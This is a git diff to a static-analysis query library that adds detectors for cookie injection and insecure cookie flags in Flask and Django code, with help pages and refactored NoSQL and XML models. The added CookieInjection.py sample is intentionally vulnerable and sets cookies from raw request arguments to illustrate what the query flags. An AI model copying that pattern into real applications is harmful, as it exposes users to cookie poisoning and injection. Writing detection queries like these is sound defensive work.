-      kind = sink.getNode().(XmlEntityInjection::Sink).getVulnerableKind()
-    |
-      kind, ", "
-    )
-select sink.getNode(), source, sink,
-  "$@ XML input is constructed from a $@ and is vulnerable to: " + kinds + ".", sink.getNode(),
-  "This", source.getNode(), "user-provided value"
diff --git a/python/ql/src/experimental/Security/CWE-614/CookieInjection.py b/python/ql/src/experimental/Security/CWE-614/CookieInjection.py
new file mode 100644
index 00000000000..55d211bafc1
--- /dev/null
+++ b/python/ql/src/experimental/Security/CWE-614/CookieInjection.py
@@ -0,0 +1,16 @@
+from flask import request, make_response
+
+
+@app.route("/1")
+def true():
+    resp = make_response()
+    resp.set_cookie(request.args["name"],
+                    value=request.args["name"])
+    return resp
+
+
+@app.route("/2")
+def flask_make_response():
+    resp = make_response("hello")
+    resp.headers['Set-Cookie'] = f"{request.args['name']}={request.args['name']};"
+    return resp
diff --git a/python/ql/src/experimental/Security/CWE-614/CookieInjection.qhelp b/python/ql/src/experimental/Security/CWE-614/CookieInjection.qhelp
new file mode 100644
index 00000000000..4b5ec11726c
--- /dev/null
+++ b/python/ql/src/experimental/Security/CWE-614/CookieInjection.qhelp
@@ -0,0 +1,28 @@
+<!DOCTYPE qhelp PUBLIC
+  "-//Semmle//qhelp//EN"
+  "qhelp.dtd">
+<qhelp>
+
+<overview>
+<p>Constructing cookies from user input may allow an attacker to perform a Cookie Poisoning attack. 
+It is possible, however, to perform other parameter-like attacks through cookie poisoning techniques, 
+such as SQL Injection, Directory Traversal, or Stealth Commanding, etc. Additionally, 
+cookie injection may relate to attempts to perform Access of Administrative Interface.
+</p>
+</overview>
+
+<recommendation>
+<p>Do not use raw user input to construct cookies.</p>
+</recommendation>
+
+<example>
+<p>This example shows two ways of adding a cookie to a Flask response. The first way uses <code>set_cookie</code>'s
+and the second sets a cookie's raw value through a header, both using user-supplied input.</p>
+<sample src="CookieInjection.py" />
+</example>
+
+<references>
+<li>Imperva: <a href="https://docs.imperva.com/bundle/on-premises-knowledgebase-reference-guide/page/cookie_injection.htm">Cookie injection</a>.</li>
+</references>
+
+</qhelp>
diff --git a/python/ql/src/experimental/Security/CWE-614/CookieInjection.ql b/python/ql/src/experimental/Security/CWE-614/CookieInjection.ql
new file mode 100644
index 00000000000..546c3d5e7a2
--- /dev/null
+++ b/python/ql/src/experimental/Security/CWE-614/CookieInjection.ql
@@ -0,0 +1,28 @@
+/**
+ * @name Construction of a cookie using user-supplied input.
+ * @description Constructing cookies from user input may allow an attacker to perform a Cookie Poisoning attack.
+ * @kind path-problem
+ * @problem.severity error
+ * @id py/cookie-injection
+ * @tags security
+ *       external/cwe/cwe-614
+ */
+
+// determine precision above
+import python
+import semmle.python.dataflow.new.DataFlow
+import experimental.semmle.python.Concepts
+import experimental.semmle.python.CookieHeader
+import experimental.semmle.python.security.injection.CookieInjection
+import DataFlow::PathGraph
+
+from
+  CookieInjectionFlowConfig config, DataFlow::PathNode source, DataFlow::PathNode sink,
+  string insecure
+where
+  config.hasFlowPath(source, sink) and
+  if exists(sink.getNode().(CookieSink))
+  then insecure = ",and its " + sink.getNode().(CookieSink).getFlag() + " flag is not properly set."
+  else insecure = "."
+select sink.getNode(), source, sink, "Cookie is constructed from a $@" + insecure, source.getNode(),
+  "user-supplied input"
diff --git a/python/ql/src/experimental/Security/CWE-614/InsecureCookie.py b/python/ql/src/experimental/Security/CWE-614/InsecureCookie.py
new file mode 100644
index 00000000000..4087830f7eb
--- /dev/null
+++ b/python/ql/src/experimental/Security/CWE-614/InsecureCookie.py
@@ -0,0 +1,15 @@
+from flask import Flask, request, make_response, Response
+
+
+@app.route("/1")
+def true():
+    resp = make_response()
+    resp.set_cookie("name", value="value", secure=True)
+    return resp
+
+
+@app.route("/2")
+def flask_make_response():
+    resp = make_response("hello")
+    resp.headers['Set-Cookie'] = "name=value; Secure;"
+    return resp
diff --git a/python/ql/src/experimental/Security/CWE-614/InsecureCookie.qhelp b/python/ql/src/experimental/Security/CWE-614/InsecureCookie.qhelp
new file mode 100644
index 00000000000..c76ab17954a
--- /dev/null
+++ b/python/ql/src/experimental/Security/CWE-614/InsecureCookie.qhelp
@@ -0,0 +1,31 @@
+<!DOCTYPE qhelp PUBLIC
+  "-//Semmle//qhelp//EN"
+  "qhelp.dtd">
+<qhelp>
+
+<overview>
+<p>Setting the 'secure' flag on a cookie to <code>False</code> can cause it to be sent in cleartext.
+Setting the 'httponly' flag on a cookie to <code>False</code> may allow attackers access it via JavaScript.
+Setting the 'samesite' flag on a cookie to <code>'None'</code> will make the cookie to be sent in third-party 
+contexts which may be attacker-controlled.</p>
+</overview>
+
+<recommendation>
+<p>Always set <code>secure</code> to <code>True</code> or add "; Secure;" to the cookie's raw value.</p>
+<p>Always set <code>httponly</code> to <code>True</code> or add "; HttpOnly;" to the cookie's raw value.</p>
+<p>Always set <code>samesite</code> to <code>Lax</code> or <code>Strict</code>, or add "; SameSite=Lax;", or
+"; Samesite=Strict;" to the cookie's raw header value.</p>
+</recommendation>
+
+<example>
+<p>This example shows two ways of adding a cookie to a Flask response. The first way uses <code>set_cookie</code>'s
+secure flag and the second adds the secure flag in the cookie's raw value.</p>
+<sample src="InsecureCookie.py" />
+</example>
+
+<references>
+<li>Detectify: <a href="https://support.detectify.com/support/solutions/articles/48001048982-cookie-lack-secure-flag">Cookie lack Secure flag</a>.</li>
+<li>PortSwigger: <a href="https://portswigger.net/kb/issues/00500200_tls-cookie-without-secure-flag-set">TLS cookie without secure flag set</a>.</li>
+</references>
+
+</qhelp>
diff --git a/python/ql/src/experimental/Security/CWE-614/InsecureCookie.ql b/python/ql/src/experimental/Security/CWE-614/InsecureCookie.ql
new file mode 100644
index 00000000000..2fe2aee6f3e
--- /dev/null
+++ b/python/ql/src/experimental/Security/CWE-614/InsecureCookie.ql
@@ -0,0 +1,30 @@
+/**
+ * @name Failure to use secure cookies
+ * @description Insecure cookies may be sent in cleartext, which makes them vulnerable to
+ *              interception.
+ * @kind problem
+ * @problem.severity error
+ * @security-severity 5.0
+ * @precision ???
+ * @id py/insecure-cookie
+ * @tags security
+ *       external/cwe/cwe-614
+ */
+
+// TODO: determine precision above
+import python
+import semmle.python.dataflow.new.DataFlow
+import experimental.semmle.python.Concepts
+import experimental.semmle.python.CookieHeader
+
+from Cookie cookie, string alert
+where
+  not cookie.isSecure() and
+  alert = "secure"
+  or
+  not cookie.isHttpOnly() and
+  alert = "httponly"
+  or
+  not cookie.isSameSite() and
+  alert = "samesite"
+select cookie, "Cookie is added without the '" + alert + "' flag properly set."
diff --git a/python/ql/src/experimental/semmle/python/Concepts.qll b/python/ql/src/experimental/semmle/python/Concepts.qll
index 0c6bca7733b..8eef245217e 100644
--- a/python/ql/src/experimental/semmle/python/Concepts.qll
+++ b/python/ql/src/experimental/semmle/python/Concepts.qll
@@ -13,6 +13,7 @@ private import semmle.python.dataflow.new.DataFlow
 private import semmle.python.dataflow.new.RemoteFlowSources
 private import semmle.python.dataflow.new.TaintTracking
 private import experimental.semmle.python.Frameworks
+private import semmle.python.Concepts
 
 /** Provides classes for modeling copying file related APIs. */
 module CopyFile {
@@ -81,74 +82,6 @@ class LogOutput extends DataFlow::Node {
   DataFlow::Node getAnInput() { result = range.getAnInput() }
 }
 
-/**
- * Since there is both XML module in normal and experimental Concepts,
- * we have to rename the experimental module as this.
- */
-module ExperimentalXML {
-  /**
-   * A kind of XML vulnerability.
-   *
-   * See https://pypi.org/project/defusedxml/#python-xml-libraries
-   */
-  class XMLVulnerabilityKind extends string {
-    XMLVulnerabilityKind() {
-      this in ["Billion Laughs", "Quadratic Blowup", "XXE", "DTD retrieval"]
-    }
-
-    /** Holds for Billion Laughs vulnerability kind. */
-    predicate isBillionLaughs() { this = "Billion Laughs" }
-
-    /** Holds for Quadratic Blowup vulnerability kind. */
-    predicate isQuadraticBlowup() { this = "Quadratic Blowup" }
-
-    /** Holds for XXE vulnerability kind. */
-    predicate isXxe() { this = "XXE" }
-
-    /** Holds for DTD retrieval vulnerability kind. */
-    predicate isDtdRetrieval() { this = "DTD retrieval" }
-  }
-
-  /**
-   * A data-flow node that parses XML.
-   *
-   * Extend this class to model new APIs. If you want to refine existing API models,
-   * extend `XMLParsing` instead.
-   */
-  class XMLParsing extends DataFlow::Node instanceof XMLParsing::Range {
-    /**
-     * Gets the argument containing the content to parse.
-     */
-    DataFlow::Node getAnInput() { result = super.getAnInput() }
-
-    /**
-     * Holds if this XML parsing is vulnerable to `kind`.
-     */
-    predicate vulnerableTo(XMLVulnerabilityKind kind) { super.vulnerableTo(kind) }
-  }
-
-  /** Provides classes for modeling XML parsing APIs. */
-  module XMLParsing {
-    /**
-     * A data-flow node that parses XML.
-     *
-     * Extend this class to model new APIs. If you want to refine existing API models,
-     * extend `XMLParsing` instead.
-     */
-    abstract class Range extends DataFlow::Node {
-      /**
-       * Gets the argument containing the content to parse.
-       */
-      abstract DataFlow::Node getAnInput();
-
-      /**
-       * Holds if this XML parsing is vulnerable to `kind`.
-       */
-      abstract predicate vulnerableTo(XMLVulnerabilityKind kind);
-    }
-  }
-}
-
 /** Provides classes for modeling LDAP query execution-related APIs. */
 module LdapQuery {
   /**
@@ -438,6 +371,55 @@ class HeaderDeclaration extends DataFlow::Node {
   DataFlow::Node getValueArg() { result = range.getValueArg() }
 }
 
+/**
+ * A data-flow node that sets a cookie in an HTTP response.
+ *
+ * Extend this class to refine existing API models. If you want to model new APIs,
+ * extend `Cookie::Range` instead.
+ */
+class Cookie extends HTTP::Server::CookieWrite instanceof Cookie::Range {
+  /**
+   * Holds if this cookie is secure.
+   */
+  predicate isSecure() { super.isSecure() }
+
+  /**
+   * Holds if this cookie is HttpOnly.
+   */
+  predicate isHttpOnly() { super.isHttpOnly() }
+
+  /**
+   * Holds if the cookie is SameSite
+   */
+  predicate isSameSite() { super.isSameSite() }
+}
+
+/** Provides a class for modeling new cookie writes on HTTP responses. */
+module Cookie {
+  /**
+   * A data-flow node that sets a cookie in an HTTP response.
+   *
+   * Extend this class to model new APIs. If you want to refine existing API models,
+   * extend `Cookie` instead.
+   */
+  abstract class Range extends HTTP::Server::CookieWrite::Range {
+    /**
+     * Holds if this cookie is secure.
+     */
+    abstract predicate isSecure();
+
+    /**
+     * Holds if this cookie is HttpOnly.
+     */
+    abstract predicate isHttpOnly();
+
+    /**
+     * Holds if the cookie is SameSite.
+     */
+    abstract predicate isSameSite();
+  }
+}
+
 /** Provides classes for modeling JWT encoding-related APIs. */
 module JwtEncoding {
   /**
diff --git a/python/ql/src/experimental/semmle/python/CookieHeader.qll b/python/ql/src/experimental/semmle/python/CookieHeader.qll
new file mode 100644
index 00000000000..1d28548e5a4
--- /dev/null
+++ b/python/ql/src/experimental/semmle/python/CookieHeader.qll
@@ -0,0 +1,72 @@
+/**
+ * Temporary: provides a class to extend current cookies to header declarations
+ */
+
+import python
+import semmle.python.dataflow.new.DataFlow
+import semmle.python.dataflow.new.TaintTracking
+import experimental.semmle.python.Concepts
+
+/**
+ * Gets a header setting a cookie.
+ *
+ * Given the following example:
+ *
+ * ```py
+ * @app.route("/")
+ * def flask_make_response():
+ *    resp = make_response("")
+ *    resp.headers['Set-Cookie'] = "name=value; Secure;"
+ *    return resp
+ * ```
+ *
+ * * `this` would be `resp.headers['Set-Cookie'] = "name=value; Secure;"`.
+ * * `isSecure()` predicate would succeed.
+ * * `isHttpOnly()` predicate would fail.
+ * * `isSameSite()` predicate would fail.
+ * * `getName()` and `getValue()` results would be `"name=value; Secure;"`.
+ */
+class CookieHeader extends Cookie::Range instanceof HeaderDeclaration {
+  CookieHeader() {
+    this instanceof HeaderDeclaration and
+    exists(StrConst str |
+      str.getText() = "Set-Cookie" and
+      DataFlow::exprNode(str)
+          .(DataFlow::LocalSourceNode)
+          .flowsTo(this.(HeaderDeclaration).getNameArg())
+    )
+  }
+
+  override predicate isSecure() {
+    exists(StrConst str |
+      str.getText().regexpMatch(".*; *Secure;.*") and
+      DataFlow::exprNode(str)
+          .(DataFlow::LocalSourceNode)
+          .flowsTo(this.(HeaderDeclaration).getValueArg())
+    )
+  }
+
+  override predicate isHttpOnly() {
+    exists(StrConst str |
+      str.getText().regexpMatch(".*; *HttpOnly;.*") and
+      DataFlow::exprNode(str)
+          .(DataFlow::LocalSourceNode)
+          .flowsTo(this.(HeaderDeclaration).getValueArg())
+    )
+  }
+
+  override predicate isSameSite() {
+    exists(StrConst str |
+      str.getText().regexpMatch(".*; *SameSite=(Strict|Lax);.*") and
+      DataFlow::exprNode(str)
+          .(DataFlow::LocalSourceNode)
+          .flowsTo(this.(HeaderDeclaration).getValueArg())
+    )
+  }
+
+  override DataFlow::Node getNameArg() { result = this.(HeaderDeclaration).getValueArg() }
+
+  override DataFlow::Node getValueArg() { result = this.(HeaderDeclaration).getValueArg() }
+
+  override DataFlow::Node getHeaderArg() { none() }
+}
diff --git a/python/ql/src/experimental/semmle/python/Frameworks.qll b/python/ql/src/experimental/semmle/python/Frameworks.qll
index 45003faada6..f0b120ceacc 100644
--- a/python/ql/src/experimental/semmle/python/Frameworks.qll
+++ b/python/ql/src/experimental/semmle/python/Frameworks.qll
@@ -3,7 +3,6 @@
  */
 
 private import experimental.semmle.python.frameworks.Stdlib
-private import experimental.semmle.python.frameworks.Xml
 private import experimental.semmle.python.frameworks.Flask
 private import experimental.semmle.python.frameworks.Django
 private import experimental.semmle.python.frameworks.Werkzeug
diff --git a/python/ql/src/experimental/semmle/python/frameworks/Django.qll b/python/ql/src/experimental/semmle/python/frameworks/Django.qll
index 2c029a7ba8f..03462649792 100644
--- a/python/ql/src/experimental/semmle/python/frameworks/Django.qll
+++ b/python/ql/src/experimental/semmle/python/frameworks/Django.qll
@@ -9,6 +9,7 @@ private import semmle.python.dataflow.new.DataFlow
 private import experimental.semmle.python.Concepts
 private import semmle.python.ApiGraphs
 import semmle.python.dataflow.new.RemoteFlowSources
+private import semmle.python.Concepts
 
 private module ExperimentalPrivateDjango {
   private module DjangoMod {
@@ -32,22 +33,64 @@ private module ExperimentalPrivateDjango {
       module Response {
         module HttpResponse {
           API::Node baseClassRef() {
-            result = response().getMember("HttpResponse").getReturn()
+            result = response().getMember("HttpResponse")
             or
             // Handle `django.http.HttpResponse` alias
-            result = http().getMember("HttpResponse").getReturn()
+            result = http().getMember("HttpResponse")
           }
 
+          /** Gets a reference to the `django.http.response.HttpResponse` class. */
+          API::Node classRef() { result = baseClassRef().getASubclass*() }
+
+          /**
+           * A source of instances of `django.http.response.HttpResponse`, extend this class to model new instances.
+           *
+           * This can include instantiations of the class, return values from function
+           * calls, or a special parameter that will be set when functions are called by an external
+           * library.
+           *
+           * Use the predicate `HttpResponse::instance()` to get references to instances of `django.http.response.HttpResponse`.
+           */
+          abstract class InstanceSource extends HTTP::Server::HttpResponse::Range, DataFlow::Node {
+          }
+
+          /** A direct instantiation of `django.http.response.HttpResponse`. */
+          private class ClassInstantiation extends InstanceSource, DataFlow::CallCfgNode {
+            ClassInstantiation() { this = classRef().getACall() }
+
+            override DataFlow::Node getBody() {
+              result in [this.getArg(0), this.getArgByName("content")]
+            }
+
+            // How to support the `headers` argument here?
+            override DataFlow::Node getMimetypeOrContentTypeArg() {
+              result in [this.getArg(1), this.getArgByName("content_type")]
+            }
+
+            override string getMimetypeDefault() { result = "text/html" }
+          }
+
+          /** Gets a reference to an instance of `django.http.response.HttpResponse`. */
+          private DataFlow::TypeTrackingNode instance(DataFlow::TypeTracker t) {
+            t.start() and
+            result instanceof InstanceSource
+            or
+            exists(DataFlow::TypeTracker t2 | result = instance(t2).track(t2, t))
+          }
+
+          /** Gets a reference to an instance of `django.http.response.HttpResponse`. */
+          DataFlow::Node instance() { instance(DataFlow::TypeTracker::end()).flowsTo(result) }
+
           /** Gets a reference to a header instance. */
           private DataFlow::LocalSourceNode headerInstance(DataFlow::TypeTracker t) {
             t.start() and
             (
               exists(SubscriptNode subscript |
-                subscript.getObject() = baseClassRef().getAUse().asCfgNode() and
+                subscript.getObject() = baseClassRef().getReturn().getAUse().asCfgNode() and
                 result.asCfgNode() = subscript
               )
               or
-              result.(DataFlow::AttrRead).getObject() = baseClassRef().getAUse()
+              result.(DataFlow::AttrRead).getObject() = baseClassRef().getReturn().getAUse()
             )
             or
             exists(DataFlow::TypeTracker t2 | result = headerInstance(t2).track(t2, t))
@@ -86,6 +129,63 @@ private module ExperimentalPrivateDjango {
 
             override DataFlow::Node getValueArg() { result = headerInput }
           }
+
+          /**
+           * Gets a call to `set_cookie()`.
+           *
+           * Given the following example:
+           *
+           * ```py
+           * def django_response(request):
+           *    resp = django.http.HttpResponse()
+           *    resp.set_cookie("name", "value", secure=True, httponly=True, samesite='Lax')
+           *    return resp
+           * ```
+           *
+           * * `this` would be `resp.set_cookie("name", "value", secure=False, httponly=False, samesite='None')`.
+           * * `getName()`'s result would be `"name"`.
+           * * `getValue()`'s result would be `"value"`.
+           * * `isSecure()` predicate would succeed.
+           * * `isHttpOnly()` predicate would succeed.
+           * * `isSameSite()` predicate would succeed.
+           */
+          class DjangoResponseSetCookieCall extends DataFlow::MethodCallNode, Cookie::Range {
+            DjangoResponseSetCookieCall() {
+              this.calls(PrivateDjango::DjangoImpl::Http::Response::HttpResponse::instance(),
+                "set_cookie")
+            }
+
+            override DataFlow::Node getNameArg() {
+              result in [this.getArg(0), this.getArgByName("key")]
+            }
+
+            override DataFlow::Node getValueArg() {
+              result in [this.getArg(1), this.getArgByName("value")]
+            }
+
+            override predicate isSecure() {
+              DataFlow::exprNode(any(True t))
+                  .(DataFlow::LocalSourceNode)
+                  .flowsTo(this.(DataFlow::CallCfgNode).getArgByName("secure"))
+            }
+
+            override predicate isHttpOnly() {
+              DataFlow::exprNode(any(True t))
+                  .(DataFlow::LocalSourceNode)
+                  .flowsTo(this.(DataFlow::CallCfgNode).getArgByName("httponly"))
+            }
+
+            override predicate isSameSite() {
+              exists(StrConst str |
+                str.getText() in ["Strict", "Lax"] and
+                DataFlow::exprNode(str)
+                    .(DataFlow::LocalSourceNode)
+                    .flowsTo(this.(DataFlow::CallCfgNode).getArgByName("samesite"))
+              )
+            }
+
+            override DataFlow::Node getHeaderArg() { none() }
+          }
         }
       }
     }
diff --git a/python/ql/src/experimental/semmle/python/frameworks/Flask.qll b/python/ql/src/experimental/semmle/python/frameworks/Flask.qll
index aec6dbc6c8f..5444a692b26 100644
--- a/python/ql/src/experimental/semmle/python/frameworks/Flask.qll
+++ b/python/ql/src/experimental/semmle/python/frameworks/Flask.qll
@@ -8,6 +8,7 @@ private import semmle.python.frameworks.Flask
 private import semmle.python.dataflow.new.DataFlow
 private import experimental.semmle.python.Concepts
 private import semmle.python.ApiGraphs
+private import semmle.python.frameworks.Flask
 
 module ExperimentalFlask {
   /**
@@ -66,10 +67,62 @@ module ExperimentalFlask {
   private class FlaskResponse extends DataFlow::CallCfgNode, HeaderDeclaration::Range {
     KeyValuePair item;
 
-    FlaskResponse() { this = Flask::Response::classRef().getACall() }
+    FlaskResponse() {
+      this = Flask::Response::classRef().getACall() and
+      item = this.getArg(_).asExpr().(Dict).getAnItem()
+    }
 
     override DataFlow::Node getNameArg() { result.asExpr() = item.getKey() }
 
     override DataFlow::Node getValueArg() { result.asExpr() = item.getValue() }
   }
+
+  /**
+   * Gets a call to `set_cookie()`.
+   *
+   * Given the following example:
+   *
+   * ```py
+   * @app.route("/")
+   * def false():
+   *    resp = make_response()
+   *    resp.set_cookie("name", value="value", secure=True, httponly=True, samesite='Lax')
+   *    return resp
+   * ```
+   *
+   * * `this` would be `resp.set_cookie("name", value="value", secure=False, httponly=False, samesite='None')`.
+   * * `getName()`'s result would be `"name"`.
+   * * `getValue()`'s result would be `"value"`.
+   * * `isSecure()` predicate would succeed.
+   * * `isHttpOnly()` predicate would succeed.
+   * * `isSameSite()` predicate would succeed.
+   */
+  class FlaskSetCookieCall extends Cookie::Range instanceof Flask::FlaskResponseSetCookieCall {
+    override DataFlow::Node getNameArg() { result = this.getNameArg() }
+
+    override DataFlow::Node getValueArg() { result = this.getValueArg() }
+
+    override predicate isSecure() {
+      DataFlow::exprNode(any(True t))
+          .(DataFlow::LocalSourceNode)
+          .flowsTo(this.(DataFlow::CallCfgNode).getArgByName("secure"))
+    }
+
+    override predicate isHttpOnly() {
+      DataFlow::exprNode(any(True t))
+          .(DataFlow::LocalSourceNode)
+          .flowsTo(this.(DataFlow::CallCfgNode).getArgByName("httponly"))
+    }
+
+    override predicate isSameSite() {
+      exists(StrConst str |
+        str.getText() in ["Strict", "Lax"] and
+        DataFlow::exprNode(str)
+            .(DataFlow::LocalSourceNode)
+            .flowsTo(this.(DataFlow::CallCfgNode).getArgByName("samesite"))
+      )
+    }
+
+    override DataFlow::Node getHeaderArg() { none() }
+  }
 }
diff --git a/python/ql/src/experimental/semmle/python/frameworks/NoSQL.qll b/python/ql/src/experimental/semmle/python/frameworks/NoSQL.qll
index a472e503435..c5efb3dd833 100644
--- a/python/ql/src/experimental/semmle/python/frameworks/NoSQL.qll
+++ b/python/ql/src/experimental/semmle/python/frameworks/NoSQL.qll
@@ -15,6 +15,10 @@ private module NoSql {
   /** Gets a reference to `pymongo.MongoClient` */
   private API::Node pyMongo() {
     result = API::moduleImport("pymongo").getMember("MongoClient").getReturn()
+    or
+    // see https://pymongo.readthedocs.io/en/stable/api/pymongo/mongo_client.html#pymongo.mongo_client.MongoClient
+    result =
+      API::moduleImport("pymongo").getMember("mongo_client").getMember("MongoClient").getReturn()
   }
 
   /** Gets a reference to `flask_pymongo.PyMongo` */
@@ -34,40 +38,36 @@ private module NoSql {
    * Gets a reference to an initialized `Mongo` instance.
    * See `pyMongo()`, `flask_PyMongo()`
    */
-  private API::Node mongoInstance() {
+  private API::Node mongoClientInstance() {
     result = pyMongo() or
     result = flask_PyMongo()
   }
 
   /**
-   * Gets a reference to an initialized `Mongo` DB instance.
-   * See `mongoEngine()`, `flask_MongoEngine()`
+   * Gets a reference to a `Mongo` DB instance.
    */
-  private API::Node mongoDBInstance() {
-    result = mongoEngine().getMember(["get_db", "connect"]).getReturn() or
-    result = mongoEngine().getMember("connection").getMember(["get_db", "connect"]).getReturn() or
-    result = flask_MongoEngine().getMember("get_db").getReturn()
-  }
-
-  /**
-   * Gets a reference to a `Mongo` DB use.
-   *
-   * See `mongoInstance()`, `mongoDBInstance()`.
-   */
-  private DataFlow::LocalSourceNode mongoDB(DataFlow::TypeTracker t) {
+  private DataFlow::LocalSourceNode mongoDBInstance(DataFlow::TypeTracker t) {
     t.start() and
     (
       exists(SubscriptNode subscript |
-        subscript.getObject() = mongoInstance().getAUse().asCfgNode() and
+        subscript.getObject() = mongoClientInstance().getAUse().asCfgNode() and
         result.asCfgNode() = subscript
       )
       or
-      result.(DataFlow::AttrRead).getObject() = mongoInstance().getAUse()
+      result.(DataFlow::AttrRead).getObject() = mongoClientInstance().getAUse()
       or
-      result = mongoDBInstance().getAnImmediateUse()
+      result = mongoEngine().getMember(["get_db", "connect"]).getACall()
+      or
+      result = mongoEngine().getMember("connection").getMember(["get_db", "connect"]).getACall()
+      or
+      result = flask_MongoEngine().getMember("get_db").getACall()
+      or
+      // see https://pymongo.readthedocs.io/en/stable/api/pymongo/mongo_client.html#pymongo.mongo_client.MongoClient.get_default_database
+      // see https://pymongo.readthedocs.io/en/stable/api/pymongo/mongo_client.html#pymongo.mongo_client.MongoClient.get_database
+      result = mongoClientInstance().getMember(["get_default_database", "get_database"]).getACall()
     )
     or
-    exists(DataFlow::TypeTracker t2 | result = mongoDB(t2).track(t2, t))
+    exists(DataFlow::TypeTracker t2 | result = mongoDBInstance(t2).track(t2, t))
   }
 
   /**
@@ -81,21 +81,27 @@ private module NoSql {
    *
    * `mongo.db` would be a use of a `Mongo` instance, and so the result.
    */
-  private DataFlow::Node mongoDB() { mongoDB(DataFlow::TypeTracker::end()).flowsTo(result) }
+  private DataFlow::Node mongoDBInstance() {
+    mongoDBInstance(DataFlow::TypeTracker::end()).flowsTo(result)
+  }
 
   /**
    * Gets a reference to a `Mongo` collection use.
-   *
-   * See `mongoDB()`.
    */
   private DataFlow::LocalSourceNode mongoCollection(DataFlow::TypeTracker t) {
     t.start() and
     (
       exists(SubscriptNode subscript | result.asCfgNode() = subscript |
-        subscript.getObject() = mongoDB().asCfgNode()
+        subscript.getObject() = mongoDBInstance().asCfgNode()
       )
       or
-      result.(DataFlow::AttrRead).getObject() = mongoDB()
+      result.(DataFlow::AttrRead).getObject() = mongoDBInstance()
+      or
+      // see https://pymongo.readthedocs.io/en/stable/api/pymongo/database.html#pymongo.database.Database.get_collection
+      // see https://pymongo.readthedocs.io/en/stable/api/pymongo/database.html#pymongo.database.Database.create_collection
+      result
+          .(DataFlow::MethodCallNode)
+          .calls(mongoDBInstance(), ["get_collection", "create_collection"])
     )
     or
     exists(DataFlow::TypeTracker t2 | result = mongoCollection(t2).track(t2, t))
@@ -204,10 +210,13 @@ private module NoSql {
    */
   private class BsonObjectIdCall extends DataFlow::CallCfgNode, NoSqlSanitizer::Range {
     BsonObjectIdCall() {
-      this =
-        API::moduleImport(["bson", "bson.objectid", "bson.json_util"])
-            .getMember("ObjectId")
-            .getACall()
+      exists(API::Node mod |
+        mod = API::moduleImport("bson")
+        or
+        mod = API::moduleImport("bson").getMember(["objectid", "json_util"])
+      |
+        this = mod.getMember("ObjectId").getACall()
+      )
     }
 
     override DataFlow::Node getAnInput() { result = this.getArg(0) }
diff --git a/python/ql/src/experimental/semmle/python/frameworks/Xml.qll b/python/ql/src/experimental/semmle/python/frameworks/Xml.qll
deleted file mode 100644
index eb1899fdd18..00000000000
--- a/python/ql/src/experimental/semmle/python/frameworks/Xml.qll
+++ /dev/null
@@ -1,442 +0,0 @@
-/**
- * Provides class and predicates to track external data that
- * may represent malicious XML objects.
- */
-
-private import python
-private import semmle.python.dataflow.new.DataFlow
-private import experimental.semmle.python.Concepts
-private import semmle.python.ApiGraphs
-
-module XML = ExperimentalXML;
-
-private module XmlEtree {
-  /**
-   * Provides models for `xml.etree` parsers
-   *
-   * See
-   * - https://docs.python.org/3.10/library/xml.etree.elementtree.html#xml.etree.ElementTree.XMLParser
-   * - https://docs.python.org/3.10/library/xml.etree.elementtree.html#xml.etree.ElementTree.XMLPullParser
-   */
-  module XMLParser {
-    /**
-     * A source of instances of `xml.etree` parsers, extend this class to model new instances.
-     *
-     * This can include instantiations of the class, return values from function
-     * calls, or a special parameter that will be set when functions are called by an external
-     * library.
-     *
-     * Use the predicate `XMLParser::instance()` to get references to instances of `xml.etree` parsers.
-     */
-    abstract class InstanceSource extends DataFlow::LocalSourceNode { }
-
-    /** A direct instantiation of `xml.etree` parsers. */
-    private class ClassInstantiation extends InstanceSource, DataFlow::CallCfgNode {
-      ClassInstantiation() {
-        this =
-          API::moduleImport("xml")
-              .getMember("etree")
-              .getMember("ElementTree")
-              .getMember("XMLParser")
-              .getACall()
-        or
-        this =
-          API::moduleImport("xml")
-              .getMember("etree")
-              .getMember("ElementTree")
-              .getMember("XMLPullParser")
-              .getACall()
-      }
-    }
-
-    /** Gets a reference to an `xml.etree` parser instance. */
-    private DataFlow::TypeTrackingNode instance(DataFlow::TypeTracker t) {
-      t.start() and
-      result instanceof InstanceSource
-      or
-      exists(DataFlow::TypeTracker t2 | result = instance(t2).track(t2, t))
-    }
-
-    /** Gets a reference to an `xml.etree` parser instance. */
-    DataFlow::Node instance() { instance(DataFlow::TypeTracker::end()).flowsTo(result) }
-
-    /**
-     * A call to the `feed` method of an `xml.etree` parser.
-     */
-    private class XMLEtreeParserFeedCall extends DataFlow::MethodCallNode, XML::XMLParsing::Range {
-      XMLEtreeParserFeedCall() { this.calls(instance(), "feed") }
-
-      override DataFlow::Node getAnInput() { result in [this.getArg(0), this.getArgByName("data")] }
-
-      override predicate vulnerableTo(XML::XMLVulnerabilityKind kind) {
-        kind.isBillionLaughs() or kind.isQuadraticBlowup()
-      }
-    }
-  }
-
-  /**
-   * A call to either of:
-   * - `xml.etree.ElementTree.fromstring`
-   * - `xml.etree.ElementTree.fromstringlist`
-   * - `xml.etree.ElementTree.XML`
-   * - `xml.etree.ElementTree.XMLID`
-   * - `xml.etree.ElementTree.parse`
-   * - `xml.etree.ElementTree.iterparse`
-   */
-  private class XMLEtreeParsing extends DataFlow::CallCfgNode, XML::XMLParsing::Range {
-    XMLEtreeParsing() {
-      this =
-        API::moduleImport("xml")
-            .getMember("etree")
-            .getMember("ElementTree")
-            .getMember(["fromstring", "fromstringlist", "XML", "XMLID", "parse", "iterparse"])
-            .getACall()
-    }
-
-    override DataFlow::Node getAnInput() {
-      result in [
-          this.getArg(0),
-          // fromstring / XML / XMLID
-          this.getArgByName("text"),
-          // fromstringlist
-          this.getArgByName("sequence"),
-          // parse / iterparse
-          this.getArgByName("source"),
-        ]
-    }
-
-    override predicate vulnerableTo(XML::XMLVulnerabilityKind kind) {
-      // note: it does not matter what `xml.etree` parser you are using, you cannot
-      // change the security features anyway :|
-      kind.isBillionLaughs() or kind.isQuadraticBlowup()
-    }
-  }
-}
-
-private module SaxBasedParsing {
-  /**
-   * A call to the `setFeature` method on a XML sax parser.
-   *
-   * See https://docs.python.org/3.10/library/xml.sax.reader.html#xml.sax.xmlreader.XMLReader.setFeature
-   */
-  class SaxParserSetFeatureCall extends API::CallNode, DataFlow::MethodCallNode {
-    SaxParserSetFeatureCall() {
-      this =
-        API::moduleImport("xml")
-            .getMember("sax")
-            .getMember("make_parser")
-            .getReturn()
-            .getMember("setFeature")
-            .getACall()
-    }
-
-    // The keyword argument names does not match documentation. I checked (with Python
-    // 3.9.5) that the names used here actually works.
-    API::Node getFeatureArg() { result = this.getParameter(0, "name") }
-
-    API::Node getStateArg() { result = this.getParameter(1, "state") }
-  }
-
-  /**
